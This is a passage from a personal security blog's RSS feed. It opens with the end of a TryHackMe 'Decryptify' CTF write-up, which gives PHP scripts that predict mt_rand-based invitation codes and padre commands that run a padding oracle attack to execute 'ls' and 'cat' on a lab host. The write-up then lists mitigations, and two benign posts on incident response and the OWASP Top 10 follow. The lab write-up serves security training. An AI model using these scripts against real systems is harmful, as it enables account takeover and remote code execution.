</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> ($constant_value <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; $constant_value <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">100000</span>; $constant_value<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mt_srand</span>($seed_value);
</span></span><span style="display:flex;"><span>    $random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();
</span></span><span style="display:flex;"><span>    $invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($invite_code <span style="color:#f92672">===</span> $target_invite_code) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Found constant value: </span><span style="color:#e6db74">$constant_value</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="12" loading="lazy" src="/images/tactics/decryptify/13.png">
Output:</p>
<ul>
<li><code>99999</code></li>
</ul>
<h3 id="step-2-generating-valid-invitation-codes">Step 2: Generating Valid Invitation Codes</h3>
<p>With the <code>constant_value</code> known, now it is possible to guess the <code>seed_value</code> that acts as the invitation code for <code>hello@fake.thm</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hello@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="13" loading="lazy" src="/images/tactics/decryptify/14.png"></p>
<p>Output:</p>
<ul>
<li><code>NDYxNTg5ODkx</code></li>
</ul>
<p>The invitation code for <code>hello@fake.thm</code> is <code>NDYxNTg5ODkx</code>. Going back to the login with invite code page <code>http://10.114.184.31:1337</code> and inserting the corresponding values to access into the account:
<img alt="14" loading="lazy" src="/images/tactics/decryptify/15.png"></p>
<blockquote>
<p><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></p>
</blockquote>
<p>From the dashboard view it is displayed another account <code>admin@fake.thm</code>, this account has an <code>admin</code> role. Knowing this new email and the <code>constant_value</code> of the seed generator function, it is possible to extract the invitation code from the <code>admin@fake.thm</code> account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="15" loading="lazy" src="/images/tactics/decryptify/16.png"></p>
<p>Output:</p>
<ul>
<li><code>MTc0OTQ0NzAzNw==</code></li>
</ul>
<p>After attempting to log in as an <code>admin@fake.thm</code> using the generated invitation code <code>MTc0OTQ0NzAzNw==</code> it returned a failed attempt. Then, accessing as an admin uses a different encryption process.</p>
<h3 id="step-3-padding-oracle-attack">Step 3: Padding Oracle Attack</h3>
<p>Going back to <code>hello@fake.thm</code> account but this time using <code>Burp Suite</code> to observe all the interactions with the web service. Capturing the packet from the <code>Proxy</code> feature and sending the packet into <code>Repeater</code> to observe the response from the server.
<img alt="16" loading="lazy" src="/images/tactics/decryptify/17.png"></p>
<p>There is a <code>hidden</code> input. The <code>hidden</code> input is declared as <code>date</code> with the value <code>bRBHqQfs9f4UhFIitZJJelGfu+ezN6Ijmd7fg++7NVk=</code>, this value changes on each refresh from the page.
By deleting the value as an empty string and refreshing the web page to see if something happens.
<img alt="17" loading="lazy" src="/images/tactics/decryptify/18.png"></p>
<p>Error Output:</p>
<ul>
<li><code>Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length</code></li>
</ul>
<p>This system error displays the decryption operation reached the final block and the padding check failed. After a google search for the error <code>EVP_DecryptFinal</code> is part of <code>OpenSSL API</code>.
After sending a few requests using different <code>date</code>values a new error emerged.
<img alt="18" loading="lazy" src="/images/tactics/decryptify/19.png"></p>
<p>Output:</p>
<ul>
<li><code>Warning: openssl_decrypt(): IV passed is only 1 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0 in /var/www/html/dashboard.php on line 28</code></li>
</ul>
<p>This error means the code is calling <code>openssel_decrypt()</code> function with an <code>IV</code> (initialization vector) of the wrong length. The cipher/mode being used requires an <strong>8-bytes</strong>. This value is common in ciphers such as <strong>DES/3DES</strong> in <strong>CBC mode</strong>. The value that we are providing is the <code>IV</code>.</p>
<p>After a research through the Internet, <strong>DES/3DES</strong> in <strong>CBC mode</strong> are susceptible into <strong>padding oracle</strong> and <strong>bit-flipping</strong>.</p>
<ul>
<li><strong>Padding oracle attack</strong>: exploits how padding errors are handled. It occurs when the application reveals whether the padding of a decrypted message is valid or not, this enables to gain information about the plaintext without knowing the encryption key.</li>
</ul>
<p>After <code>dorking</code> (<code>site: github.com php padding oracle attack</code>) through the internet to get a program that exploits this specific vulnerability. A good candidate was <a href="https://github.com/glebarez/padre"><code>padre</code></a>, it supports tokens in <code>GET/POST</code> parameters and <code>Cookies</code>. Download the latest version and grant executable permissions using <code>chmod +x padre_linux_amd64</code>.</p>
<p>After some try and error and getting used to the new tool,<code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'ls'</code>
<img alt="19" loading="lazy" src="/images/tactics/decryptify/20.png"></p>
<p>Output:</p>
<ul>
<li><code>fXGHJVbs4t9lbmJyaWVhcw==</code></li>
</ul>
<p>Executing again the same command but modifying the command that we want to execute, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' 'fXGHJVbs4t9lbmJyaWVhcw=='</code>
<img alt="20" loading="lazy" src="/images/tactics/decryptify/21.png"></p>
<p>The system returned an output, therefore trying the specific path from the last flag question <code>/home/ubuntu/flag.txt</code>, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'cat /home/ubuntu/flag.txt'</code>
<img alt="21" loading="lazy" src="/images/tactics/decryptify/23.png"></p>
<p>Output:</p>
<ul>
<li><code>8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code></li>
</ul>
<p>Once having the encrypted command to get the flag we are going to use the following command <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' '8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw=='</code></p>
<p>Having this value now its time to insert as the date value on the dashboard URL, <code>http://10.114.184.31:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code>
<img alt="22" loading="lazy" src="/images/tactics/decryptify/24.png"></p>
<p>Output:</p>
<ul>
<li><code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ul>
<blockquote>
<p><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By exploiting a weak pseudo-random number generator (<code>mt_rand()</code>) in the invitation code generation system, we successfully predicted valid invitation codes for any user email. This granted us access to the dashboard where we discovered a padding oracle vulnerability in the DES/CBC encryption implementation. Using the <code>padre</code> tool, we leveraged the padding oracle to achieve remote code execution and retrieve the final flag.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Cryptographically Secure Random Number Generation</strong>: replace <code>mt_rand()</code> with <code>random_int()</code> or <code>openssl_random_pseudo_bytes()</code> for security-critical operations.</li>
<li><strong>Remove Error Leakage</strong>: implement generic error messages that don&rsquo;t reveal internal cryptographic details.</li>
<li><strong>Input Validation</strong>: validate and sanitize all user inputs, especially encrypted parameters passed to decryption functions.</li>
<li><strong>Use Authenticated Encryption</strong>: implement AEAD modes instead of CBC mode to prevent padding oracle attacks entirely.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></li>
<li><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ol>
]]></content:encoded></item><item><title>Managing Incidents</title><link>https://alexanderroca.dev/strategy/5.-managing-incidents/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/strategy/5.-managing-incidents/</guid><description>Incident response skills important for Security Engineers, including understanding your role as a first responder and cyber crisis management.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction:</h2>
<p>In &ldquo;Risk Management&rdquo;, <strong>zero risk is impossible</strong>. No matter how well we build, determined attackers will find a way in.</p>
<p>The question isn&rsquo;t <em>if</em> an incident will occur, but <em>how</em> we respond when it does.</p>
<p>Reading about the critical lifecycle of <strong>Incident Response (IR)</strong> and <strong>Incident Management (IM)</strong>, it taught me that a fast, organized response can mean the difference between a minor glitch and a catastrophic breach.</p>
<hr>
<h2 id="1-intro-to-ir-and-im">1. Intro to IR and IM</h2>
<p>Before diving into tools, I had to understand the difference between <strong>Incident Response</strong> (the technical act of handling the breach) and <strong>Incident Management</strong> (the organizational process of coordinating the response).</p>
<h3 id="key-concepts">Key Concepts:</h3>
<p><img alt="Incident_Lifecycle" loading="lazy" src="/images/strategy/Incident_Lifecycle.png"></p>
<ul>
<li><strong>The NIST Lifecycle:</strong> the standard four-phase approach:
<ol>
<li><strong>Preparation:</strong> Having the plan, tools, and team ready <em>before</em> an attack.</li>
<li><strong>Detection &amp; Analysis:</strong> Identifying the incident and determining its scope.</li>
<li><strong>Containment, Eradication, &amp; Recovery:</strong> Stopping the bleeding, removing the threat, and restoring systems.</li>
<li><strong>Post-Incident Activity:</strong> The &ldquo;lessons learned&rdquo; phase to prevent recurrence.</li>
</ol>
</li>
<li><strong>The Role of the Security Engineer:</strong> In an incident, this role isn&rsquo;t just to fix the server; it&rsquo;s to preserve evidence, communicate with stakeholders, and ensure the root cause is addressed.</li>
</ul>
<hr>
<h2 id="2-logging-for-accountability">2. Logging for Accountability</h2>
<p>You cannot investigate what you cannot see. The importance of <strong>logging</strong> not just for debugging, but for <strong>forensics and accountability</strong>.</p>
<ul>
<li><strong>What to Log:</strong> It&rsquo;s not enough to log &ldquo;errors.&rdquo; We need to log authentication attempts, privilege escalations, file access, and network connections.</li>
<li><strong>Centralization:</strong> Logs scattered across individual servers are useless during an attack. They must be sent to a centralized, tamper-proof location (like a SIEM) immediately.</li>
<li><strong>Time Synchronization:</strong> If clocks aren&rsquo;t synchronized (via NTP), correlating events across different systems becomes a nightmare.</li>
<li><strong>Chain of Custody:</strong> Understanding how to handle logs as legal evidence is crucial. If the chain is broken, the evidence might be inadmissible in court.</li>
</ul>
<hr>
<h2 id="3-becoming-a-first-responder">3. Becoming a First Responder</h2>
<p>Being a <strong>First Responder</strong> means being the first person on the scene when the fire alarm rings. It requires calmness, procedure, and speed.</p>
<h3 id="the-first-responder-checklist">The First Responder Checklist:</h3>
<p><img alt="First_Respondent" loading="lazy" src="/images/strategy/First_Respondent.png"></p>
<ul>
<li><strong>Verify the Alert:</strong> Is it a false positive or a real breach? Don&rsquo;t panic, but don&rsquo;t ignore it.</li>
<li><strong>Preserve Evidence:</strong> Before touching anything, capture memory dumps, disk images, and network traffic. <strong>Do not reboot the system</strong> unless absolutely necessary, as it destroys volatile data.</li>
<li><strong>Containment Strategies:</strong>
<ul>
<li><em>Isolation:</em> Disconnect the infected machine from the network (pull the plug or disable the NIC).</li>
<li><em>Segmentation:</em> Block traffic at the firewall level to stop lateral movement.</li>
</ul>
</li>
<li><strong>Communication:</strong> Who do you tell? Legal? HR? Management? The &ldquo;Who, What, When, Where&rdquo; communication chain is vital.</li>
</ul>
<hr>
<h2 id="4-cyber-crisis-management">4. Cyber Crisis Management</h2>
<p>Sometimes, an incident escalates into a full-blown <strong>Crisis</strong>. This is where technical skills meet leadership and communication.</p>
<h3 id="crisis-management-principles">Crisis Management Principles:</h3>
<ul>
<li><strong>Decision Making Under Pressure:</strong> In a crisis, you don&rsquo;t have perfect information. You must make the best decision possible with the data at hand.</li>
<li><strong>Stakeholder Management:</strong> Executives care about reputation and downtime; Legal cares about liability; Customers care about their data. A Security Engineer must translate technical chaos into business impact.</li>
<li><strong>The War Room:</strong> Establishing a dedicated communication channel (physical or virtual) where the incident commander leads the response.</li>
<li><strong>Ransomware Specifics:</strong> learn the specific protocols for ransomware: do not pay (usually), isolate immediately, and engage law enforcement.</li>
</ul>
<hr>
<h2 id="conclusion">Conclusion:</h2>
<p>I now understand that security is not a static state of &ldquo;being safe.&rdquo; It is a dynamic cycle of:</p>
<ol>
<li><strong>Preventing</strong> what we can.</li>
<li><strong>Detecting</strong> what slips through.</li>
<li><strong>Responding</strong> effectively when it happens.</li>
<li><strong>Learning</strong> to be better next time.</li>
</ol>
<p>Being a Security Engineer means accepting that breaches will happen. But it also means having the confidence that when they do, <strong>we are ready</strong>. We have the logs, the playbooks, the skills, and the mindset to turn a potential disaster into a manageable event.</p>
<p>This is a reminder that technology is only part of the equation. People, processes, and preparation are the true backbone of incident management.</p>
]]></content:encoded></item><item><title>OWASP Top 10 (2025)</title><link>https://alexanderroca.dev/strategy/6.-owasp-top-10-2025/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/strategy/6.-owasp-top-10-2025/</guid><description>This updated list reflects the evolving landscape of application security and emphasizes root causes over symptoms.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction:</h2>
<p>For years, the <strong>OWASP Top 10</strong> has been the bible of web application security. We memorized SQL Injection, XSS, and Broken Access Control. But the digital landscape changes faster than any static list can keep up. With the rise of AI, serverless architectures, and complex API ecosystems, the threats have evolved.</p>
<p>The 2025 list shifts focus from simple code injection to systemic failures in <strong>Identity, Architecture, and Data</strong>. Focusing on these three critical pillars: <strong>IAAA Failures</strong>, <strong>Application Design Flaws</strong>, and <strong>Insecure Data Handling</strong>.</p>
<hr>
<h2 id="1-iaaa-failures">1. IAAA Failures</h2>
<p>The first major category in the 2025 list is <strong>IAAA Failures</strong> (Identification, Authentication, Authorization, and Accounting). In previous years, &ldquo;Broken Access Control&rdquo; was a single item. In 2025, it has exploded into a comprehensive category reflecting the complexity of modern identity.</p>
<ul>
<li><strong>Beyond Passwords:</strong> The failure isn&rsquo;t just weak passwords anymore. It&rsquo;s the mismanagement of <strong>session tokens</strong>, <strong>API keys</strong>, and <strong>OAuth flows</strong>.</li>
<li><strong>The &ldquo;Zero Trust&rdquo; Gap:</strong> Many applications still assume that if a user is logged in, they are trusted everywhere. The 2025 list highlights failures where authorization checks are skipped for specific API endpoints or microservices.</li>
<li><strong>Accounting Failures:</strong> It&rsquo;s not enough to know <em>who</em> did something; we must be able to trace <em>what</em> they did and <em>when</em>. Gaps in audit logging (Accounting) make forensic analysis impossible after a breach.</li>
<li><strong>Machine Identity:</strong> A new frontier. Services talking to services (machine-to-machine) often lack proper authentication, leading to massive lateral movement opportunities for attackers.</li>
</ul>
<hr>
<h2 id="2-application-design-flaws">2. Application Design Flaws</h2>
<p>Historically, we focused on <em>implementation</em> bugs (bad code). The 2025 list emphasizes <strong>Design Flaws</strong>—errors made before a single line of code was written.</p>
<ul>
<li><strong>Trust Boundaries:</strong> Designing systems where untrusted data flows directly into trusted zones without validation boundaries.</li>
<li><strong>Missing Security Controls by Default:</strong> Building features that are inherently insecure (e.g., allowing file uploads without size/type checks) because security wasn&rsquo;t a requirement in the design phase.</li>
<li><strong>Complexity as a Vulnerability:</strong> Over-engineering architectures (too many microservices, too many integrations) creates a surface area that is impossible to secure effectively.</li>
<li><strong>AI Integration Risks:</strong> With AI agents now part of applications, design flaws include failing to sandbox AI outputs or allowing prompt injection to alter application logic.</li>
</ul>
<hr>
<h2 id="3-insecure-data-handling">3. Insecure Data Handling</h2>
<p>Data is the ultimate target. The 2025 list expands &ldquo;Sensitive Data Exposure&rdquo; into a broader category of <strong>Insecure Data Handling</strong>, covering the entire lifecycle of data.</p>
<ul>
<li><strong>Data at Rest &amp; In Transit:</strong> It&rsquo;s not just about TLS. It&rsquo;s about how data is stored in databases, caches, and logs. Are PII (Personally Identifiable Information) fields encrypted? Are backups protected?</li>
<li><strong>Data Integrity:</strong> Ensuring data hasn&rsquo;t been tampered with. This includes protecting against race conditions and logic bugs that allow data manipulation.</li>
<li><strong>Third-Party Data Risks:</strong> How we handle data received from APIs, partners, or user inputs. The &ldquo;Supply Chain&rdquo; of data is just as risky as the software supply chain.</li>
<li><strong>Privacy by Design:</strong> Handling data in compliance such as GDPR, and other regulations isn&rsquo;t just legal; it&rsquo;s a security control. Mishandling data leads to reputational collapse.</li>
</ul>
<hr>
<h2 id="connecting-the-dots-the-2025-mindset">Connecting the Dots: The 2025 Mindset</h2>
<table>
	<thead>
			<tr>
					<th>Category</th>
					<th>The Root Cause</th>
					<th>The Engineer&rsquo;s Role</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><strong>IAAA Failures</strong></td>
					<td>Poor Identity Architecture</td>
					<td>Design robust, zero-trust identity flows.</td>
			</tr>
			<tr>
					<td><strong>Design Flaws</strong></td>
					<td>Lack of Security in SDLC</td>
					<td>Involve security in the <em>design</em> phase, not just testing.</td>
			</tr>
			<tr>
					<td><strong>Insecure Data</strong></td>
					<td>Data-Centric Blind Spots</td>
					<td>Treat data as the primary asset to protect, everywhere.</td>
			</tr>
	</tbody>
</table>
<p>This section bridged the gap between the <strong>Software Security</strong> module and the <strong>Incident Management</strong> module. If we fail at Design or Data Handling, we <em>will</em> have an incident. If we fail at IAAA, the incident will be catastrophic.</p>
<hr>
<h2 id="conclusion">Conclusion:</h2>
<p><strong>OWASP Top 10 (2025)</strong> taught me that security is not a static checklist. The threats of 2025 are different from 2017, and our defenses must evolve just as fast.</p>
<p>The mandate is clear:</p>
<ol>
<li><strong>Rethink Identity:</strong> Assume every request is untrusted until proven otherwise.</li>
<li><strong>Fix the Design:</strong> Catch flaws before code is written.</li>
<li><strong>Protect the Data:</strong> Secure data from ingestion to deletion.</li>
</ol>
<p>The OWASP Top 10 (2025) isn&rsquo;t just a list of vulnerabilities; it&rsquo;s a roadmap for building resilient, modern applications.</p>
]]></content:encoded></item></channel></rss>